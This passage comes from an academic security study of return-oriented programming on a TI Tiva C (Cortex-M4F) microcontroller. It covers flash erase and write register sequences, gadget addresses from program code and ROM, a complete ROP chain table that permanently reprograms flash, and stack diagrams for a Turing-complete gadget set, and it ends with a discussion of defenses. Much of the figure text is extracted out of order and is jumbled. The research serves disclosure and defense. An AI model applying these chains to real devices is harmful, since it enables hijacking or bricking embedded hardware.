(bit 1) must be set. The write key is determined by the state of the key bit (bit 4) of the
Boot Configuration (BOOTCFG) register 0x400FE1D0. The possible values of the write key
are 0x71D5 or 0xA442 for 0 or 1, respectively. In this case the key bit is set to 1 indicating
the value of the write key to be 0xA442. Thus the 32-bit value that must be entered into
the FMC register erase the 1 kB block is 0xA4420002. The erase sequence can be found in
Listing 2.1. In the attack demonstrated in Section 2.3 the start address of main happens
to be located at 0x4BA0 and the minimum block size of flash memory that can be erased
is 1 kB. Therefore, the start address for the erase is 0x00004800. When this procedure is
carried out all bits will be set to 1 between 0x00004800 and 0x00004BFF in the flash which
includes the start address of main. If the desire was to erase the entire flash instead of just a
1 kB block, simply write the key to the upper 15 bits of the FMC register and set the Mass
Erase (MERASE) bit (bit 2). This can be seen in Listing 2.2.
Listing 2.1: Flash erasing sequence for the Tiva C.
// address of FMA register
uint32_t * FLASH = ( uint32_t *) 0 x400FD000 ;
FLASH [0 x0 ] = 0 x4800 ; // address to erase
// clear the area 0 x4800 -0 x4BFF
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// perform erase command by writing to
// FMC register
FLASH [0 x2 ] = 0 xA4420002 ;

Listing 2.2: Mass erasing sequence.
// address of FMA register
uint32_t * FLASH = ( uint32_t *) 0 x400FD000 ;
// erase entire flash by writing the key and
// setting the MERASE bit of FMC register
FLASH [0 x2 ] = 0 xA4420004 ;

Once all bits are erased (set to 1) in the region that is to be re-programed, the flash
is prepared to be written. The flash write procedure begins with writing the address to
be programed to the same FMA register described in the flash erase procedure. Then the
32-bit word to be written is placed in the Flash Memory Data (FMD) register 0x400F004.
Finally, the same write key is written to the upper 16 bits of the FMC register as described
above, however during a program command, bit 1 the write bit, is set. The programming
procedure for writing the exploit program can be seen in Listing 2.3.
An alternate programming procedure includes writing the address to be programed into
the FMA as seen earlier. Then the desired words are written to the appropriate Flash Write
Buffer n (FWBn) registers: 0x400FD100 to 0x400FD17C. This technique to write to the flash
allows up to 32 32-bit words to be written at once. Then the Flash Write Buffer Valid
(FWBVAL) register 0x400FD030 must be set to a mask indicating which FWBn registers
are to be written. In the case of this example, all 32 bits are set. Finally, the Flash Memory
Control 2 (FMC2) register is written to. This register is very similar to the FMC register.
The write key is entered into the upper 16 bits and bit 1 (the write buffer bit) is set. The
address of the FMC2 register is 0x400fd020. Listing 2.4 illustrates this second method
to program the flash. The first programming procedure writes one word at a time and is
therefore easier to follow. The second procedure allows for up to 32 words to be written at
the same time. As can be seen, Listings 2.3 and Listing 2.4 both write the same words to
the same addresses, but Listing 2.4 requires one less instruction because it only needs to
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write to the FMA register and the FMC register once. This simplification reduces the stack
space needed for this exploit which is helpful when attacking a resource constrained device.
Listing 2.3: Tiva C flash programming sequence.
// place address to program ( main ) into FMA
FLASH [0 x0 ] = 0 x4BA0 ;
// assembly add instruction placed in FMD
FLASH [0 x1 ] = 0 xF1000001 ;
// write command - write key and write bit to FMC
FLASH [0 x2 ] = 0 xA4420001 ;
// second address to program placed into FMA
FLASH [0 x0 ] = 0 x4BA4 ;
// assembly branch instruction placed in FMD
FLASH [0 x1 ] = 0 xE7FC0000 ;
// write command - write key and write bit to FMC
FLASH [0 x2 ] = 0 xA4420001 ;

Listing 2.4: Alternate Tiva C flash programming sequence.
// base address to program 0 x4B80 is the closest
// 32 - word alligned address to main at 0 x4BA0
FLASH [0 x0 ] = 0 x4B80 ;
// load add instr into FWBn - offset of 0 x20
FLASH [0 x48 ] = 0 xF1000001 ;
// load branch instr into FWBn - offset of 0 x24
FLASH [0 x49 ] = 0 xE7FC0000 ;
// set every bit in FWBVAL register
FLASH [0 xC ] = 0 xFFFFFFFF ;
// write key and sett WRBUF bit of FMC2 register
FLASH [0 x8 ] = 0 xA4420001 ;

2.3.3

Demonstration of Writing a Simple Program to Flash

Here we show a demonstration in which the flash is reprogrammed with a sequence of
instructions that will no longer execute the original program at all, but will instead simply
enter into an infinite loop. This loop will begin immediately after the ROP is performed.
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In addition, it will start again if the system reset push-button is ever pressed or if the Tiva
C is powered off and then back on as this will reside in the flash memory at the location
of main. This example will prove that an attacker is able to erase the flash memory and
reprogram the microcontroller.

Gadgets
This example ROP procedure will demonstrate that even a small amount of existing
code can be leveraged by a creative attacker. The search space for gadgets for this attack
was limited to the example Sensor Hub Booster Pack program.The flash rewrite sequence
contained in Listings 2.3 and 2.4 requires two operations: load and store. The search for
gadgets resulted in two gadgets, two lines each which can accomplish these tasks. They are
shown in Listing 2.5.
Listing 2.5: Gadgets that provide the load and store operations.
; Gadget A at 0 x3673
str r0 , [ r4 , #0 x0 ]
pop { r4 , pc }
; Gadget a0 at 0 x3675
pop { r4 , pc }
; Gadget B at 0 x42A7
mov r0 , r4
pop { r4 , pc }

Gadget A provides the ability to store data from r0 into the address specified at r4.
It also causes the program to jump to the next instruction, while filling r4 with more data
from the stack. This gadget is effective because r4 is constantly updated, and can thus
be used to load immediate values off the stack. Note that Gadget A0 is the second line of
Gadget A and could be useful if the str operation on the first line was not needed. This
gadget is only used as the first gadget as there was no need for a store before the a value
was popped into r4 for the first time.
Gadget B transfers the data from r4 into r0. There were no gadgets that would load r0
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directly, so this method was a sufficient substitute. The data from the stack is transferred
from the stack to r4 by using Gadget A0, followed by Gadget B where the data is shuttled
to r0 while r4 is repopulated. Finally, the data is stored into the desired location via Gadget
A.

ROP Procedure
The design of the ROP was taken directly from the code in Listings 2.1 and 2.4. The
flash programming method shown in Listing 2.4 was chosen because it needed only 5 total
writes to flash registers while the sequence in Listing 2.3 required 6. The gadgets from
Listing 2.5 were combined in a pipelined fashion in order to minimize operations. The implementation was still rather bulky at 23 required returns. Table 2.1 describes the order that
the gadgets should be executed in order to rewrite the flash memory of the microcontroller.
The ROP attack was first approached by determining the size and boundaries of the
stack. Once the boundaries were determined, the location on the stack where the program
counter (pc) was stored was overwritten with the address of Gadget A. Each successive call
(shown in Table 2.1) was determined by overwriting the values to be placed into the r4 and
pc registers.
This attack was successful and resulted in the flash being permanently reprogrammed.
Even after the reset button of the Tiva C was pressed, an infinite loop was entered and
nothing else was ever executed. This was verified by stepping through execution on the Tiva
C using a debugger.

2.3.4

Second Gadget Set

The second set of gadgets can be seen in Listing 2.6. This gadget set was derived
entirely from the ROM. We will not illustrate the second ROP procedure here, as it uses the
flash erase and re-write procedures found in Section 2.3.2, and the procedure is very similar
to Section 2.3.3. Using the four gadgets in Listing 2.6 we were able to successfully replicate
a similar ROP sequence as has been already illustrated. The purpose of this exercise is to
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Table 2.1: The ROP design.
Gadget

pop {pc}
A0
B
A
B
A
B
A
B
A
B
A
B
A
B
A
B
A
B
A
B
A
B
A

Pop into r4

Pop into PC

Description

0x30303030
0x30303030
0x00000000
0x00000000
0x00000000
0x75360000
0x00480000
0x00d00f40
0x020042a4
0x08d00f40
0x804b0000
0x00d00f40
0x00f10100
0x20d10f40
0xfce75555
0x24d10f40
0xffffffff
0x30d00f40
0x010042a4
0x20d00f40
0x584b0000
0x00d00f40
0x42e00000
0x18d10f40
0xffffffff
0x30d00f40
0x010042a4
0x20d00f40
0x00000000
0x1b

0x30303030
0x30303030
0x00000000
0x00000000
0x00000000

Don’t care
Don’t care
Don’t care
Don’t care
Pop {r4-r5}
Return to A0
Erase address
Write erase address
Erase command
Write erase command
main address
Write main address
add r0,#0x1
Write add
b main
Write b
Clear write buffer
Write clear
Flash key
Write flash key
Scatter addr
Write scatter addr
b main
Write b main
Clear write buffer
Write clear
Flash key
Write flash key
Return to main

0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa7420000
0x73360000
0xa14b0000
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demonstrate the ability to find a gadget set in the ROM similar to the gadget set already
found in the code of a basic program.
Listing 2.6: Gadgets 1-4, which provide the functionality to erase and reprogram memory.
; Gadget 1 at 0 x01007550
pop { r0 , r1 , r3 , r6 , pc }
; Gadget 2 at 0 x010067aa
str r0 , [ r1 , #0]
pop { r4 , pc }
; Gadget 3 at 0 x01006990
ldmia.w sp ! , { r4 , lr }
bx r1
; Gadget 4 at 0 x101001024
subs r0 , #1
bne.n 0 x1001024
bx lr

The first gadget is a simple command that pops five values off of the stack. The first
four values are stored in registers and the last value is stored in the program counter (pc).
This is a very useful gadget because a command that pops the pc off of the stack can be
used as a branch command. The address in the pc will be the next command executed by
the program.
The second gadget is used to store a value in memory. The value in r0 is stored to
the address in r1. This gadget is particularly useful because it stores a 32-bit value to an
address without an offset. Many of the possible gadgets in the provided code space will only
store bytes or halfwords and require an offset. More analysis and longer gadgets would be
required for these to be used. Another important feature is that it ends with a pop command
that includes the Program Counter (pc), so it can be used as a branch to the next gadget.
The textttldmia.w command is used as a load immediate. The registers in the curly
brackets are loaded with the values located at the address of first argument. If there is
more than one register in the curly bracket the word that is in the next address (following
the first argument), is loaded into each following register. In this case, the value at the
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Stack Pointer (sp) is loaded into r4, and the next value in the stack is loaded into the Link
Register (lr). Then the program branches to the address in r1. This gadget is very useful
because it manipulates the link register.
The last gadget is a subtraction command to be used as a delay for the erase and write
commands. Whenever a word was written or erased from flash memory a delay of between
50 µs and 300 µs is required. This gadget allowed for a delay long enough for the write or
erase command to complete. Register r0 was preloaded with the wait value. If the result
of the substitution was 0, a flag would be set and a command can be used as if it were a
comparison. In this case, if the result is not equal to zero the program branched to the
beginning of the gadget 0x1001024. The program looped through the subs command until
a result of 0 at which time the program branches to the lr.

2.4

Turing-complete Gadget Set
The ultimate goal of an attacker in crafting a ROP library of gadgets is to establish a

Turing-complete gadget set. This allows the attacker to accomplish an arbitrary computation
using a single predefined gadget set, and even to go as far as creating a specialized compiler
capable of generating an attack payload directly from C code [39].
The successful generation of such a gadget set depends heavily on the size and nature
of the code base that is available to the attacker. An ideal environment for the attacker
includes standard libraries that the attacker can easily depend on for widespread functionality. However, in embedded systems this is often not the case as memory is at a premium
and only specialized libraries are available. For example, a library designed specifically for
the purpose of configuring device peripherals will likely lack explicit functionality needed to
perform complex arithmetic operations. Similarly, a library that provides such mathematical operations may be lacking in load and store instructions needed to work with the device
memory. It is also possible that while a particular functionality exists within the library,
there are instructions between the desired code and the return instruction which lead to
undesirable side effects of the gadget.
The attacker may overcome such limitations with a careful and methodical approach.
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After building a gadget set containing as many pure gadgets (that is, gadgets that are free
from side effects) as could be found, these may then be combined to perform more complex
operations. An xor instruction may be used to create gadgets for register clearing, register
value swapping, and other operations such as negate. Development of gadgets for saving
and restoring states and register values are also very useful, as these allow the use of gadgets
with side effects between a save/restore pair of gadgets to avoid the unwanted consequences.
By starting with the simplest gadgets and acquiring this functionality as early as possible,
more complex functionality can be implemented without finding specific gadgets for each
and every operation.
The basic starting gadgets that provide this base to build are easy to identify. Immediate
loads of registers are almost trivial: all that is needed is a pop instruction that includes both
the program counter and the register in question. Similarly, loads and stores can simply be
used directly as long as a gadget return follows close behind. In contrast, a gadget for the
equivalent of a branch instruction poses significant difficulty. Conditional execution of one
of two gadgets (the equivalent of the if-then-else, or ite instruction) can be accomplished
by utilizing the same instruction in the code, which is detailed in the conditional execution
gadget below.
A fully-featured conditional branch gadget is much more challenging. To simulate the
conditional branches of the instruction set the gadget must be capable of executing gadgets
ahead in the stack, jumping over others if they are unneeded. The branch must also be
capable of returning to an earlier point in the gadget sequence, looping back on itself and
allowing gadgets to repeat. This backwards motion is an essential programming paradigm
and is necessary for a Turing-complete set of gadgets, as forward and backwards motion
must be present in a Turing machine [40].
Executing gadgets that are further ahead in the sequence can be accomplished without
much trouble. A pop instruction removing several values from the stack can be conditionally
executed, several times if necessary, to skip the gadgets that should not be executed. A
gadget that increments the stack pointer can also be used to more efficiently adjust the next
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gadget to execute.
Gadgets that decrement the stack pointer are much more difficult to identify. While
there is code in the library in question that decrements the stack pointer, it is followed by
an increment operation before any return statements such that a gadget cannot be built
from it. An attacker would need to identify a way to either decrement the stack pointer to
jump to previous gadgets, or copy the previous addresses in the stack to the next portions so
that they are executed once again. We introduce a gadget that is capable of this backward
looping in this work.

2.4.1

A Turing-complete Gadget Set

In order to show that our collection of gadgets are Turing-complete we use a paper
written by Homescu et al. [41]. Here the authors attempt to create a set of Turing-complete
gadgets with each gadget taking up the least amount of bytes possible. The functionality
that was needed included twelve gadgets. We capture the same functionality in our gadget
set but not in the same way. For example, the authors of [41] included two gadgets whose
only functionality was to operate on system flags, while this functionality is built into our
gadgets where needed. We were not attempting to identify the smallest possible gadgets, so
this method worked for our needs. Besides the flag operations the set of gadgets identified
by [41] included functionality to move or exchange register values, pop a value from the stack
into a register, control the stack pointer, increment or decrement a value in a register, load
a value from an address to a register, store a value to memory, add two values, and subtract
two values. In addition to the above functionality the logical operations of and, or, xor and
not are needed. The authors of [41] remind us that because of DeMorgan’s laws only two
gadgets are really needed to create the behavior of all these logical operations. The gadgets
needed are either and or or and xor, not or neg. We chose to identify all of these gadgets,
although the xor gadget is perhaps impractically large. The final functionality needed to
make a gadget set Turing-complete is the ability to compare two values and branch based
on their result. This section describes the gadgets we have found which cover all of this
functionality.

load immediate
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top
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buffer overflow
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attack on an embedded ARM device without any loss of applicability or effectiveness due
r0
PC
0x000069f6
mov r0, r4
to the lack of an
PCexplicit return instruction.
blx r1
move: It is critical
to have
the ability to move values between registers. As a common
0xFFFFFFFF
bottom

Figure 4 –which
stack diagram
(load immediate)
operation, there are plenty of gadgets
are suitable
for this. The following gadget shown

This gadgetinallows
to moves
load anthe
arbitrary
value,
preloaded
onregister
the stack,
Figureus2.3
value from
register
r4 into
r0 into
thenr0.
transfers control to the

move

location popped into r1.
0x00000000

top

SP

r4

buffer overflow
of our choosing

r1
r6
PC

r0
PC

0xFFFFFFFF

0x010083f6

pop {r1, r6, pc}

0x010069f6

mov r0, r4
blx r1

go after done

bottom

Figure 5 – stack diagram (move)

Fig. 2.3: Stack Diagram - move.

store
Note that0x00000000
this gadgettop
has twobuffer
side effects.
First, register r6 is overwritten by the first
overflow

SPregister may be filled with either a “don’t care” value or a value used
pop instruction. The
of our choosing

0x00007d50

pop {r0, r1, r3, r6, PC}

by a future gadget. r0
However, if the value
valuein r6 must be preserved then it should be saved

r1 restored afterwards.
before this gadget and

location
r3
r6
as a return address PC
in the link register
style of returns. Therefore,
if any[R3,
gadgets0xC]
using this
0x00002662
str R0,
go the
afterlink
done
{PC}
style of return followPC
this gadget then
register must bepop
reloaded
with the appropriate
address. [r3+0xC]

The second side effect is the overwriting of the address in the link register that is used

0xFFFFFFFF

bottom

These two side effects demonstrate that for any gadget the potential impacts must be
Figure 6 – stack diagram (store)

understood and accounted for. The attacker can compensate for them with planning, but

We are actually using only registers r0 and r3, and we don’t care about r1 and r6, so we simply put
obviouslyon
gadgets
without
these
caveats when
are preferred.
Similar
side effects
occur
with
something arbitrary
the stack
in those
positions
we overflow
the buffer.
Thewill
result
is that
we are able
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many of the gadgets presented here due to the small size and specialized nature of the code
base in question.
load: The load gadget loads the value from memory location r4+4 into r0. Note that
it assumes that r4 is pre-loaded, but it happens to also pop a value to r4 before returning.
Therefore, if necessary, it could be called twice, the first time putting the desired r4 address
Figure 2 – Example of radare2 [3] for load immediate gadget

on the stack. The load gadget is illustrated in Figure 2.4.

load

0x00000000

[r4+4]

SP

r0

top

0x01001be6

r4
PC

0xFFFFFFFF

buffer overflow
of our choosing

go after done

ldr r0, [r4, 4]
pop {r4, PC}

bottom

Figure 3 – stack diagram (load)

Fig. 2.4: Stack Diagram - load.

This gadgets loads the value from memory location [r4+4]into r0. Note that it assumes that r4 is preloaded, but it happens to also pop a value to r4 before returning. Therefore, it can be called twice, the first
time putting the desired
on the stack. The load immediate gadget shown in Figure 2.5 will take an
loadr4immediate:
arbitrary value and load it into a given register. In this case, the attacker can place the
arbitrary value on the stack and pop it into r4.

load immediate
3

0x00000000

top

Buffer overflow
of our choosing

%esp methodology
All stacks are displayed with top-down
0x01001be8

r0
PC

r4
PC
r1
r6
PC

to be in r0

0x010083f6

pop {r1, r6, pc}

0x010069f6

mov r0, r4
blx r1

go after done

0xFFFFFFFF

pop {r4, pc}

bottom

Figure 3 – stack diagram (load immediate)

Fig. 2.5: Stack Diagram - load immediate.

This gadget allows us to load an arbitrary value, preloaded on the stack, into r0.

move
0x00000000

top

Buffer overflow

0x00000000

SP

r4

r1
r6
PC

r0
PC

top

buffer overflow
of our choosing

0x000083f6

pop {r1, r6, pc}

0x000069f6

mov r0, r4
blx r1

go after done
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store: The 0xFFFFFFFF
store gadget
will store the value in register r0 to a memory location at an
bottom
Figure
5 – stack places
diagram in
(move)
offset of 12 from the address the
attacker
r3. Figure 2.6 shows a stack diagram of

store

the store gadget.
0x00000000

SP

top

0x00007d50

r0
r1
r3
r6
PC
PC
[r3+0xC]
0xFFFFFFFF

buffer overflow
of our choosing

value

pop {r0, r1, r3, r6, PC}

location

0x00002662
go after done

str R0, [R3, 0xC]
pop {PC}

bottom

Figure 6 – stack diagram (store)

Fig. 2.6: Stack Diagram - store.

We are actually using only registers r0 and r3, and we don’t care about r1 and r6, so we simply put
something arbitrary on the stack in those positions when we overflow the buffer. The result is that we are able
The operations below can be carried out strictly by register operations, e.g., AND,
or through register operations with an immediate operand, e.g., AND immediate. Above
we showed that immediate values can be loaded into registers, so the operations below
focus strictly on register operations assuming a value has been pre-loaded into a register, if
necessary.
add: The add gadget sums the values in r1 and r3, then stores that sum in r1. This
gadget complicates matters by ending in a bx lr command, which is the most common way
to return from a legitimate subroutine. The issue is that control will be passed back to the
address contained in the link register (lr), so we must proactively use the first two jumps
to set lr to a value we control from the stack.
sub: As seen in Figure 2.8, r0 is subtracted from r1 and the difference is stored in r0.
negate:

The gadget for negate is no different from sub. The attacker just needs

to ensure zero is loaded into r1 from the stack in the first command. Thus, negation is
performed via subtraction from zero.

to store whatever value we place in r0 from the stack into a memory location of our choosing by addressing
with r3 minus 12. Thus, we are able to store an arbitrary value to an arbitrary location.
*(r3+12) <- R0

In this case:
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r0 = 0x7d5 = 2005
Stored in memory location R3+0xC
= 0xBABEFAC2 + 12 = 0xBABEFACE
[0xBABEFACE] = 2005

add / add immediate
0x00000000

SP

PC

top

buffer overflow
of our choosing

r1
r6
PC
r4
LR
r0
r1
r3
r6
PC
r4
r5
r6
r7

0xFFFFFFFF

0x010083f6
0x01007d50

pop {r1, r6, PC}

0x01006990

pop.w {r4, LR}
bx r1
pop {r0, r1, r3, r6, PC}

go after done
augend
addend

0x01005534

add
subs
str
str
pop
bx

r1, r3
r3, r1, 1
r4, [r0, 8]
r3, [r0, 4]
{r4, r5, r6, r7}
LR

bottom

Figure 7 – stack diagram (add / add immediate)

Fig. 2.7: Stack Diagram - add.

For all of this gadget’s many statements, the end result is simply adding two operands, which we have placed in
just the right locations on the stack, and placing the result in r1.
r1 = r1 + r3

subtract
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0x00000000

SP

top

0x01007d50

r0
r1
r3
r6
PC
r3
r4
r5
r6
r7
PC
0xFFFFFFFF

buffer overflow
of our choosing

subtrahend

pop {r0, r1, r3, r6, PC}

minuend

0x01006c96

subs r0, r1, r0
str r0, [r4, 0xC]
pop {r3, r4, r5, r6, r7, PC}

go after done

bottom

Fig. 2.8:
Stack
Diagram
- subtract.
Figure
8 – stack
diagram
(subtract)

This gadget simply subtracts r0 from r1, which we have placed in just the right locations on the stack, and
places the result in r0.
not: To perform a not, an attacker could simply load -1 into r1, then use the sub

negate

gadget shown in Figure 2.8. Asr0
this=value
is off
r1 r0by 1 from a true not, subtract 1 from r0.
After that, Listing 2.7 would come right after to finish the operation.

Negate is the same as subtract, except weListing
must ensure
that the
r1,
is zero on the stack. The result is:
2.7: Final
partminuend,
of the not
gadget.
@ 0 x010083f6
pop

r0 = 0 - r0 = -r0

{ r1 , r6 , pc }

@ 0 x01006990
pop . w
bx

{ r4 , lr }

R1

@ 0 x010058f2
subs
bx

r0 , r0 , 1
LR

and:

The and gadget as shown in Figure 2.9 performs a bitwise and between r2

and r3, storing the result in r2. Again, the link register needed to be set up to maintain
continued control over the instruction sequence.

d immediate

nd(operand) -> r2 = operand AND r2

d

0x00000000

SP

top

r3
r1
r6
PC
r4
LR

buffer overflow
of our choosing

0x010032a2
operand
0x010083f6
0x010054bc

pop {r3, PC}

0x01006990

pop.w {r4, LR}
bx r1
ands r2, r3
orrs r1, r2
str r1, [r0, 8]
bx LR

go after done

PC
0xFFFFFFFF
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pop {r1, r6, PC}

bottom

Figure
9 – stack
(and)
Fig. 2.9:
Stackdiagram
Diagram
- and.
or:

Figure 2.10 shows the OR gadget. The values over which a logical OR must be

ndi(operand) performed
-> r2 are
= placed
r3 AND
operand
in the r0
and r2 registers.

Register r0 gets the result and can then

store it into a memory location offset from the address in r1.
0x00000000

top

Buffer overflow

ourthe
choosing
branch:
program counter simulates an unconditional jump to
SP A simple popofinto

0x000083e8
0x000054bc
Branch: This conditional

the address on the stack.

pop {r1, r2, r4, r6, PC}

r1
execution examines the value of r2 which
operand
r2
is supplied from the stack by the attacker. If r2 equals 1, the system will branch to the
r4
address of condition A, otherwise the branch to condition B will be followed. These branch
r6
addresses will come from the address relative to r0, which will be slightly offset from the
PC
0x000032a2
pop {r3, PC}
stack pointer. This gadget can be seen by examining Figure 2.11.
operand
r3
set less than: The set less than gadget as seen in Figure 2.12 adds the ability to
PC
0x00006990
pop.w {r4, LR}
conditionally set a value that will compare r0 to r1. If r0 is less than r1, it will set r0 to
r4
bx r1
1, otherwise r0 will be cleared to 0.
go after done
LR
ands r2, r3
orrs r1, r2
str r1, [r0, 8]
PC
bx LR
Conditional

0xFFFFFFFF

bottom
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0x00000000

top

Buffer overflow
of our choosing

63

0x010062d6
()+'

r0
r2
r6
PC
r4
PC
r0=r0 OR r2
0xFFFFFFFF

pop {r0, r2, r6, pc}

()+'

0x01006858
(-+('

orrs r0, r2
str r0, [r1, 0x30]
pop {r4, PC}

bottom

Fig. 2.10: Stack Diagram - 0r.
Control Stack Pointer:

The final step in making this set of instructions Turing-

complete, is to have fine control over the stack pointer. This allows these ROP routines
to efficiently be used multiple times without exhausting the memory resources allocated to
the stack. As ROP gadgets are called and executed, the stack pointer (sp) moves down
continuously. A separate gadget must then be implemented to allow the sp to return back
upwards to a specific previous location. When implemented, an attacker is then able to
perform repetitious operations, such as for loops, while loops, and recursion. Without this
looping ability, an attacker would have to copy repetitive segments of code to the stack the
exact number of times that code would need to be executed. Inevitably, they would quickly
run out of stack space if even a simple routine needed to be executed a significant number
of times.
The included code for controlling the sp does just this. It allows the saving of the stack
pointer at the beginning of a repetitious construct into the r0 register. Later, there will
need to be a decision made as to whether that construct should repeat, or whether program
flow should continue sequentially. The conditional branch gadget will be used to make this
decision and, if the stack pointer needs to be reinstated to the beginning of a loop, the final
command in this gadget can take the desired sp address loaded from memory with a load
gadget into r0 and then set the sp to that address.
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branch conditional
0x00000000

SP

top

0x01003ae4

r2
r3
r5
r6
r7
PC
r1
r6
PC
r4
LR
r1
r6
PC
r4
LR

0xFFFFFFFF

buffer overflow
of our choosing

pop {r2, r3, r5, r6, r7, PC}

0x010083f6

0x01006698
0x010059ec
0x01006990
0x010083f6
0x01002fd8
0x01006990
0x01000f40

add r0, SP, 4
blx r3
pop {r1, r6, PC}
pop.w {r4, LR}
bx r1
adds r0, 0x20
bx LR
pop {r1, r6, PC}
pop.w {r4, LR}
bx r1
cmp r2, 1
ite eq
ldr r0, [r0, 0xC]
ldr r0, [r0, 8]
bx LR
bx r0

bottom

Figure 14 – stack diagram (branch conditional)

Fig. 2.11: Stack Diagram - conditional branch.

This gadget obtains a comparison variable, r2, from the stack, then branches to one of two different memory
locations depending on its value compared to 1.
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set less than
0x00000000

SP

top

r1
r6
PC
r4
LR
r0
r1
r3
r6
PC

0xFFFFFFFF

buffer overflow
of our choosing

0x010083f6
0x01007d50

pop {r1, r6, PC}

0x01006990

pop.w {r4, LR}
bx r1
pop {r0, r1, r3, r6, PC}

go after done
operand
operand

0x01006a08

cmp r0, r1
itt ls
movs r0, 1
bx LR
movs r0, 8
ldr R1, [0x6cc2]
str R0, [R1, 0x14]
movs R0, 0
bx LR

bottom

Fig.
2.12:
Diagram
set
less than.
Figure
15 –Stack
stack diagram
(set -less
than)
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Listing 2.8: Control Stack Pointer.
Store initial SP value to be restored later
@ 0 x01006620
mov r0 , sp ; blx r2
\# Then use store gadget to place r0 in RAM

After a conditional branch ,
one target could be to restore the sp
@ 0 x01000e74
ldr . w sp , [ r0 ] ; bx r1

Delay Loop:

We have implemented a delay loop using ROP techniques. This delay

loop has the mechanics of a simple loop that merely increments its counter and stops once
that counter has reached a pre-determined value. This would be useful for reprogramming
the flash memory.
To begin, the loop counter variable is set in r5. Figure 2.13 implements a 9 iteration
loop and, in each iteration, the repeat condition is determined by a comparison the value
from r3. So in this example we set r3 to be 9 and r1 to start at 0. On each iteration of
the loop r5 is incremented by 1. When r5 equals r3 the branch back up is not taken and
instead a branch to the lr is taken instead.
xor:

The real utility of these gadgets is that they can be cleverly tied together to

perform more complex or higher level functions. For example, no suitable single xor gadget
was found in this code base. However, since all logic gates can be composed of AND and
NOT gates, an XOR gadget can be realized through a composition of several primitive
building blocks. The truth table for XOR shows that r0 XOR r1 can be implemented with
an OR between two operands. The first operand is r0 AND NOT r1 and the second operand
is NOT r0 AND r1. The stack diagram for this instruction is located in Figure 2.14 which
refers the XOR arguments as A and B.

2.5

Conclusion
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0x00000000

top

SP

buffer overflow
of our choosing

0x01007636
0x01001002
0x01000009

r1
r3
r4
r5
r7
PC
r4
LR

0x01000000
0x01006990
go after done

0xFFFFFFFF

pop {r1, r3, r4, r5, r7, PC}
pop.w {r4, LR}
bx r1
LDRB r2, [r0, r5]
STRB r2, [r1, r5]
add.w r5, r5, #1
cmp r5, r3
bne #0x0ffe
mov r0, r1
bx LR

bottom

Fig. 2.13: Delay Loop.

0x00000000

SP
r0
r1
r3
r6
PC
r3
r4
r5
r6
r7
PC
r1
r6
PC
r4
LR
r1
r6
PC
r4
LR
r3
PC
r1
r6
PC
r4
LR
r0
r1
r3
r6
PC
r4

[r0+0x10]= 𝐴𝐴𝐵𝐵

top

buffer overflow
of our choosing

0x01007d50
argument A

pop {r0, r1, r3, r6, PC}

0

0x01006c96

subs r0, r1, r0
str r0, [r4, 0xC]
pop {r3, r4, r5, r6, r7, PC}

0x010083f6
0x010058f2

pop {r1, r6, PC}

0x01006990
0x010083f6
0x010017c6
0x01006990
0x010032a2
argument B

0x010083f6
0x010054bc
0x01006990
0x01007d50
Location - 16

0x01001c8a

0x01006990

pop.w {r4, LR}
bx r1
subs r0, r0, 1
bx LR
pop {r1, r6, PC}
pop.w {r4, LR}
bx r1
movs r2, r0
it ne
movs r0, 1
bx LR
pop {r3, PC}
pop {r1, r6, PC}
pop.w {r4, LR}
bx r1
ands r2, r3
orrs r1, r2
str r1, [r0, 8]
bx LR
pop {r0, r1, r3, r6, PC}
pop.w {r4, LR}
bx r1
str R2, [R0, 0x10]
bx LR

LR
r0
r1
r3
r6
PC
r3
r4
r5
r6
r7
PC
r1
r6
PC
r4
LR
r1
r6
PC
r4
LR
r3
PC
r1
r6
PC
r4
LR
r4
PC
r4
PC
r4
PC
[r4+0x04]= 𝐴𝐴𝐵𝐵
r0= 𝐴𝐴𝐵𝐵 + 𝐴𝐴𝐵𝐵
0xFFFFFFFF

bottom

Fig. 2.14: Stack Diagram - xor.

0x01007d50
argument B

pop {r0, r1, r3, r6, PC}

0

0x01006c96

subs r0, r1, r0
str r0, [r4, 0xC]
pop {r3, r4, r5, r6, r7, PC}

0x010083f6
0x010058f2

pop {r1, r6, PC}

0x01006990
0x010083f6
0x010017c6
0x01006990
0x010032a2
argument A

0x010083f6
0x010054bc
0x01006990
0x01001be8
Location - 4

0x01001be6
0x01006858
go after done

pop.w {r4, LR}
bx r1
subs r0, r0, 1
bx LR
pop {r1, r6, PC}
pop.w {r4, LR}
bx r1
movs r2, r0
it ne
movs r0, 1
bx LR
pop {r3, PC}
pop {r1, r6, PC}
pop.w {r4, LR}
bx r1
ands r2, r3
orrs r1, r2
str r1, [r0, 8]
bx LR
pop {r4, PC}
load r0, [r4, 4]
pop {r4, PC}
orrs r0, r2
str r0, [r1, 0x30]
pop {r4, PC}
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This work has brought to light some security concerns on energy-efficient architectures
like the Cortex-M4F using the example of a Tiva TM4C123GH6PM. It has been shown that
even small areas of program code are enough to reprogram the flash memory of a resource
constrained device. The practice of loading the on-chip ROM with peripheral libraries and
other potentially unused code makes it a prime target for ROP attacks. The gadget sets
needed to erase and reprogram the flash memory were quite small, and therefore could likely
be found in many simple programs. A portion of flash memory can be erased using only
4 gadgets. It has also been shown that a Turing-complete gadget set can be identified in
the peripheral driver libraries which would allow for arbitrary execution if a device was
compromised. We discussed various return-like instructions that can be used for ROP on
this device and have introduced a novel technique. We have also located gadgets which allow
us to control the stack pointer making efficient loops possible.
Defense against ROP attacks has been explored with popular approaches to include
ROPGaurd [42], ROPecker [43], and kBouncer [44]. Unfortunately, these techniques add
significant overhead to the system and have all been bypassed in a more rigorous analysis [45]. Therefore, they are not currently practical to implement in a device geared towards
sustainability. We have shown that omission of modern security controls leaves a plethora of
energy-efficient products wide open to attack. Successful defense against ROP that is practical for resource constrained, low power embedded systems remains a topic that requires
more attention in future research.
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2.6

Appendix A. Experimental Results
This appendix shows screen shots taken from the Keil µVision [46] debugger [47] of the

program stack containing the ROP chain about to be executed. It also shows the register
values both before and after each of the gadgets was executed on an example program.
This is to demonstrate to the reader that these gadgets can be used to exploit the target
hardware. In each of these cases, a simple buffer overflow was used to take control of the
microprocessor and the exploited program as well as the overflow strings are included with
the submission of this article.
For each figure below the left most screen shot of the registers shows their state just
before the ROP chain begins executing and the registers on the right show their state after.
The memory that contains the stack is shown in between them.
In the case of the store gadget, Figure 2.18, an additional screen shot of the memory
